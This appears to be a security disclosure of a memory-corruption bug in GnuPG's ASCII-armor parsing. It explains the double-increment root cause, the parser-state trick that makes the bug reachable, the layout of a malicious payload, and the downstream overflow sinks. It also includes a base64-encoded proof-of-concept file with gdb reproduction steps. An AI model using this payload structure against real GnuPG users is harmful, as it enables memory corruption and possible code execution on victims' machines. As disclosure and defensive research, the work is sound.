Memory Corruption in ASCII-Armor Parsing

There exist memory corruptions in the armor parsing code of *GnuPG* that can be exploited to provide primitives like out of bounds buffer read and write. This might be exploitable to the point of remote code execution (RCE).

Impact

While this may allow remote code execution (RCE), it definitively causes memory corruption.

Details

The root cause of this vulnerability is straightforward and described in the first part of this section. After that, we show how this bug is reachable. Finally we present the downstream impacts leading to useful exploitation primitives.

This bug opens up a very large space of exploitation surface in a stateful way. We present some, but by no means all, possible exploitation primitives. In the interest of a timely disclosure and patch we do not present full exploit chain demonstrating RCE.

The function `armor_filter` (involved in all ASCII-armor parsing), has a bug. The loop increments the variable `n` both in the loop head `[1]` and the loop body `[2]`. While this leads to uninitialized memory and a buffer overwrite by up to one, the more impactful problem is setting `*ret_len` to a value greater than the requested `size`. Note that the `ret_len` pointer here is used as an input and output parameter.

In summary, if `control == IOBUFCTRL_UNDERFLOW && afx->inp_bypass` (`[3]`) is true, then `*ret_len` (at `[4]`) is greater than the requested size (`[5]`).

```
/****************
 * This filter is used to handle the armor stuff
```

```
 */
static int
armor_filter(void *opaque, int control,
             IOBUF a, byte *buf, size_t *ret_len) {
    size_t size = *ret_len; // <-- [5]
// ...
    if (control == IOBUFCTRL_UNDERFLOW && afx->inp_bypass) {  // <-- [3]
        n = 0;
        if (afx->buffer_len) {
            /* Copy the data from AFX->BUFFER to BUF.  */
            for (; n < size && afx->buffer_pos < afx->buffer_len; n++) // <-- [1
                buf[n++] = afx->buffer[afx->buffer_pos++]; // <-- [2]
            if (afx->buffer_pos >= afx->buffer_len)
                afx->buffer_len = 0;
        }
        /* If there is still space in BUF, read directly into it.  */
        for (; n < size; n++) {
            if ((c = iobuf_get(a)) == -1)
                break;
            buf[n] = c & 0xff;
        }
        if (!n)
            /* We didn't get any data.  EOF.  */
            rc = -1;
        *ret_len = n; // <-- [4]
```

Invoking the function with **`*ret_len = 1023`** (input) and **`afx->buffer_len > 511`** causes the loop to increment beyond the limit. This is a pseudo code trace of the triggered behavior.

```
(n = 0) < (size = 1023) && (afx->buffer_pos = 0) < (afx->buffer_len = 512)
  buf[(n++ = 1, return 0)] = afx->buffer[(afx->buffer_pos++ = 1, return 0)];
(n++ = 2)

(n = 2) < (size = 1023) && (afx->buffer_pos = 1) < (afx->buffer_len = 512)
  buf[(n++ = 3, return 2)] = afx->buffer[(afx->buffer_pos++ = 2, return 1)];
(n++ = 4)

[...]
```

```
(n = 1022) < (size = 1023) && (afx->buffer_pos = 511) < (afx->buffer_len = 512)
  buf[(n++ = 1023, return 1022)] = afx->buffer[(afx->buffer_pos++ = 512, return
(n++ = 1024)
```

For typical inputs, the `inp_bypass` flag is zero, rendering this branch effectively dead code. However, a specially crafted malformed packet can trigger this condition in *GnuPG*.

For context, `afx->inp_bypass` is a flag that is set if the input is determined to be a binary payload instead of armored data. The armor filter is only pushed to the filter stack if the input is determined to be actually armored though. For readers unfamiliar with the input processing in *GnuPG* using filters we refer to this code comment and related code. The common pattern for using the armor filter is the following:

```
if (!opt.no_armor) {
    if (use_armor_filter(fp)) {
        afx = new_armor_context();
        push_armor_filter(afx, fp);
    }
}
```

`use_armor_filter` does some rudimentary checks to see if pushing an armor filter is necessary:

```
/****************
 * Try to check whether the iobuf is armored
 * Returns true if this may be the case; the caller should use the
 *     filter to do further processing.
 */
int
use_armor_filter(IOBUF a) {
    byte buf[2];
    int n;

    /* fixme: there might be a problem with iobuf_peek */
    n = iobuf_peek(a, buf, 2);
    if (n == -1)
        return 0; /* EOF, doesn't matter whether armored or not */
```

```
    if (!n)
        return 1; /* can't check it: try armored */
    if (n != 2)
        return 0; /* short buffer */
    return is_armored(buf);
}
```

From this we conclude that we need to provide an input satisfying `is_armored` on push. As such, we start our payload with standard armored (base64 encoded) data.

Our goal is to eventually get `afx->inp_bypass` to `1`, but the setter has the following condition:

```
/* figure out whether the data is armored or not */
static int
check_input( armor_filter_context_t *afx, IOBUF a ) {
    // ...
    /* read the first line to see whether this is armored data */
    len = afx->buffer_len = iobuf_read_line( a, &afx->buffer,
                        &afx->buffer_size, &maxlen );
    // ...
    else if (len >= 2 && !is_armored(line)) {
        afx->inp_checked = 1;
        afx->inp_bypass = 1;
        return 0;
    }
    // ...
}
```

So if `is_armored` returns true, the condition above fails, and if it is false, `use_armor_filter` returns false, and the armor filter does not get pushed in the first place.

With ordinary or basic malformed inputs, the root cause bug seems unreachable. However, a specifically crafted payload can manipulate the state of the parser to trigger it anyway: We start with valid ASCII-armored data in a “BEGIN PGP MESSAGE” and then without an “END PGP MESSAGE” (i.e. popping the filter) we follow it up with a binary payload at a specific location described in the following. This will lead to us reentering the `check_input` function.

The function that contains the snippet above, `check_input`, is only called if `afx->inp_checked = 0`. GnuPG uses this flag to store whether it has already determined the input format. However, the `if (checkcrc)` branch in `radix64_read` resets it under certain conditions. For context: PGP messages optionally contain an error correction code (CRC) at the end. Note, we believe that *GnuPG* resets `afx->inp_checked` here assuming that the CRC must be the end of the message, always followed by the “END PGP MESSAGE” marker. However, the filter for this current message is not popped yet.

```
static int
radix64_read(armor_filter_context_t *afx, IOBUF a, size_t *retn,
             byte *buf, size_t size) {
    // ...
    if (checkcrc) {
        gcry_md_final(afx->crc_md);
        afx->any_data = 1;
        afx->inp_checked = 0;
        afx->faked = 0;
    // ...
}
```

Visually, this check happens here, the last ’=’ character after the base64 encoded data marks the start of the CRC checksum data, in the following we refer to this position as `buffer_pos`.

```
=====BEGIN [type]=====
BASE64BASE64BASE64
BASE64BASE64BASE64
BASE64BASE64BASE64
{buffer_pos}=CRC
=====END [type]=====
```

At this point the condition is set, and only the end mark (`=`), the (optional) CRC, and the newline are consumed. After that, the underflow handler returns, leaving in the buffer:

```
=====END [type]=====
```

Which gets checked as armor, and due to it being a valid armor line, the input re-check does nothing unusual. However, we can construct a message like this:

```
=====BEGIN [type]=====
BASE64BASE64BASE64
BASE64BASE64BASE64
BASE64BASE64BASE64
{buffer_pos}=CRC
[binary message]
```

Which, after reading the base64 and CRC, gets an underflow on the following buffer with **`afx->inp_checked == 0`**:

```
[binary message]
```

And this, when fulfilling any of the conditions in **`check_input`**, gets detected as a binary message, and the at-first-sight "dead" **`afx->inp_bypass`** in **`armor_filter`** branch suddenly gets executed. The **`control`** code **`IOBUFCTRL_UNDERFLOW`** is the regular control code that the armor filter is invoked with, processing data chunk-by-chunk.

This alone is still not enough for exploitation, though: Directly after the call to **`check_input`**, a branch fills the **`afx->buffer`**:

```
rc = check_input(afx, a);
if (afx->inp_bypass) {
    for (n = 0; n < size && afx->buffer_pos < afx->buffer_len;)
        buf[n++] = afx->buffer[afx->buffer_pos++];
    if (afx->buffer_pos >= afx->buffer_len)
        afx->buffer_len = 0;
    if (!n)
        rc = -1;
}
```

This code is very similar to the double-increment code, with the small change that it does not have the double-increment bug, so we actively have to *avoid* it consuming the entire buffer, for

exploitation.

We can only write to the buffer once, as it contains the buffered part of the current line that was read by `iobuf_read_line`. This function is always called with a limit `<= MAX_LINELEN`, which in production builds is 20000.

However, since a consumer of the iobuf pipeline cannot know a size beforehand, a complete fill of the iobuf buffer is requested, which is defined as `DEFAULT_IOBUF_BUFFER_SIZE`, in production builds 65536.

This, again, seems like it would not be possible to exploit, but can be bypassed with a carefully constructed input: Our payload currently consists of an armored message, followed by a binary message. By making the armored message parse into `> DEFAULT_IOBUF_BUFFER_SIZE` bytes output, and including a message that claims a size of `< MAX_LINELEN` in its header, the 2nd `IOBUFCTRL_UNDERFLOW` will request a size `< MAX_LINELEN` that will get processed by the single-increment code, leaving unconsumed bytes in the buffer for the 3rd `IOBUFCTRL_UNDERFLOW` call that will get processed by the double-increment code (`afx->inp_checked` is again true at this point).

In summary, our payload is structured as follows:

```
[ASCII "=====BEGIN PGP MESSAGE=====" ] [ASCII "\n"]
[Base64 [65536 bytes of [Packet len=67000]]] [ASCII "\n"]
[ASCII "="] [ASCII "\n"]
[binary payload]
```

The parser will:

- Check for armor
  - Find armor
  - Push armor filter

The 1st `IOBUFCTRL_UNDERFLOW` on the armor filter will:

- See a request for 65536 bytes
- Do `check_input` as `afx->inp_checked` is 0

    - Consume `[ASCII "=====BEGIN PGP MESSAGE=====" "\n"]`
        - Set `afx->inp_checked` to 1
        - Set `afx->inp_bypass` to 0
- Do `radix64_read` as `afx->inp_bypass` is 0
    - Consume 65536 bytes of `[Base64 [65536 bytes of [Packet len=67000]]] [ASCII "\n"]`
    - Consume `[ASCII "="] [ASCII "\n"]` (we do not set the optional CRC)
        - Set `afx->inp_checked` to 0
- Return with `*ret_len=65536`

The parser now runs and sees a packet with len=67000, and 65536 bytes available, so it underflows (`IOBUFCTRL_UNDERFLOW`) for 1464 bytes.

The 2nd `IOBUFCTRL_UNDERFLOW` will:

- See a request for 1464 bytes
- Do `check_input` as `afx->inp_checked` is 0
    - See no armor
    - Set `afx->inp_checked` to 1
    - Set `afx->inp_bypass` to 1
- Read and return 1464 bytes from `afx->buffer` with the single-increment code
- Return with `*ret_len=1464`

The 3rd `IOBUFCTRL_UNDERFLOW` will:

- See a request for n bytes
- Go into the `&& afx->inp_bypass` branch
- Read and return n bytes from `afx->buffer` with the double-increment code
- Return with `*ret_len=n + (1 - (n % 2))`

With this specific setup, the underflow will report a read value/`ret_len` higher than the requested value. This state should never happen, and various places in the code, including memory-safety relevant guards, assume (but not assert) that this will never be the case. This triggers various (buffer size/position related) integer underflows and direct memory safety issues, for example (line comments added by us):

```
needed = size < a->size ? size : a->size;
c = iobuf_read(chain, p, needed);
if (c < needed) {
  if (c == -1)
    c = 0;
  log_error
  ("block_filter %p: read error (size=%lu,a->size=%lu)\n",
   a, (ulong) size + c, (ulong) a->size + c);
  rc = GPG_ERR_BAD_DATA;
} else {
  size -= c; // write buffer offset underflow
  a->size -= c; // read buffer offset underflow
  p += c;
  n += c;
}
```

```
size_t temp_size = iobuf_set_buffer_size(0) * 1024;
byte *buffer = xmalloc(temp_size);
int ret;

while ((ret = iobuf_read(fp, buffer, temp_size)) != -1) {
    if (md)
        gcry_md_write(md, buffer, ret); // heap buffer overread
}
```

```
ret = iobuf_read(stream, &buffer[nread], curr);
if (ret == -1) {
    dfx->eof_seen = 3; /* Premature EOF. */
    break;
}
```

```
  nread += ret;
  dfx->length -= ret; // read buffer offset underflow
```

```
temp = xmalloc(temp_size);
while (1) {
  nread = iobuf_read(source, temp, temp_size);
  if (nread == -1)
    /* EOF.  */
    break;

  if (nread > max_read)
    max_read = nread;

  err = iobuf_write(dest, temp, nread); // buffer overread
  if (err)
    break;
  nwrote += nread;
}

/* Burn the buffer.  */
if (max_read)
  wipememory(temp, max_read); // buffer overflow
```

Those are just a few obvious examples, but due to GnuPG's entire iobuf architecture relying on the fact that the return size should never be bigger than the requested size, state corruption cascades throughout the entire program. From here it is a challenge in memory corruption exploitation with a very large space of reachable primitives.

Detailed steps to reproduce

Scenario

Mallory sends Alice a message, or Mallory intercepts an untrusted message between Alice and Bob. The result of the operation and the integrity of the system used is now compromised.

Procedure

A very basic PoC demonstrating that the faulty double-increment code is reachable in production builds of GnuPG is provided:

```
cd $(mktemp -d)
curl -O https://www.gnupg.org/ftp/gcrypt/gnupg/gnupg-2.4.8.tar.bz2
tar xf gnupg-2.4.8.tar.bz2
cd gnupg-2.4.8/
mkdir build; (cd build; CFLAGS="-g -O0" ../configure; make)

(base64 -d | gunzip | gunzip > poc) <<===
H4sIAAAAAAAACA5Pv5mCo1tqewcT89oIhX5ODQNvFG+c0t5lL+yVsPMbqKcC5/QPLsXnN3e4C0j73
sv+fCfc5t7r47S9D37tTTtXsPv910q26FfNV3ff0PV5cOe3qVk1pl58TG0YBheDAdPHlEXwMZIPd
wnEMQwp8SL8n1flI9v57FgYAcfj03ZICAAA=
===

gdb
  -ex "b armor.c:$(grep -n 'buffer_len; n++' g10/armor.c | cut -d: -f1)"
  -ex r -ex 'display n' -ex n -ex n -ex n -ex n -ex n
  --args ./build/bin/gpg -o- --dearmor poc
```

Which prints:

```
GNU gdb (GDB) 16.3
[snip]
Reading symbols from ./build/bin/gpg...
Breakpoint 1 at 0x450550: file ../../g10/armor.c, line 1305.
Starting program: /tmp/poc/gnupg-2.4.8/build/bin/gpg -o- --dearmor poc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/nix/store/8p33is69mjdw3bi1wmi8v2zpsxir8nwd-gli

Breakpoint 1, armor_filter (opaque=0x573be0, control=3, a=0x5744f0, buf=0x58da20
1305                for(; n < size && afx->buffer_pos < afx->buffer_len; n++ )
1: n = 0
1306                    buf[n++] = afx->buffer[afx->buffer_pos++];
1: n = 0
1305                for(; n < size && afx->buffer_pos < afx->buffer_len; n++ )
1: n = 1
1306                    buf[n++] = afx->buffer[afx->buffer_pos++];
```

```
1: n = 2
1305                for(; n < size && afx->buffer_pos < afx->buffer_len; n++ )
1: n = 3
1306                    buf[n++] = afx->buffer[afx->buffer_pos++];
1: n = 4
(gdb)
```

Recommendation

Aside from fixing the obvious demonstrated vulnerability, the core issue here should be addressed: Much of the memory safety related code makes assumptions about the state of the program, but does not assert them.

This vulnerability demonstrates one source for state corruption, and shows several exploitation sink examples, but those are just concrete examples; the codebase, especially iobuf code and iobuf consumers, have several similar suspicious state assumptions, with some being (incorrectly) documented as correct, and some not even explicitly documented, yet no actual assertion happens. State corruption propagates easily and cascades far through the code, often because the code assumes that the rest of the code is bug-free, but as demonstrated above real bugs can happen and propagate. In the case of the iobuf system, both filters/iobuf itself and consumers of the iobuf API should have defense-in-depth assertions that the critical assumptions hold.

contact: contact@gpg.fail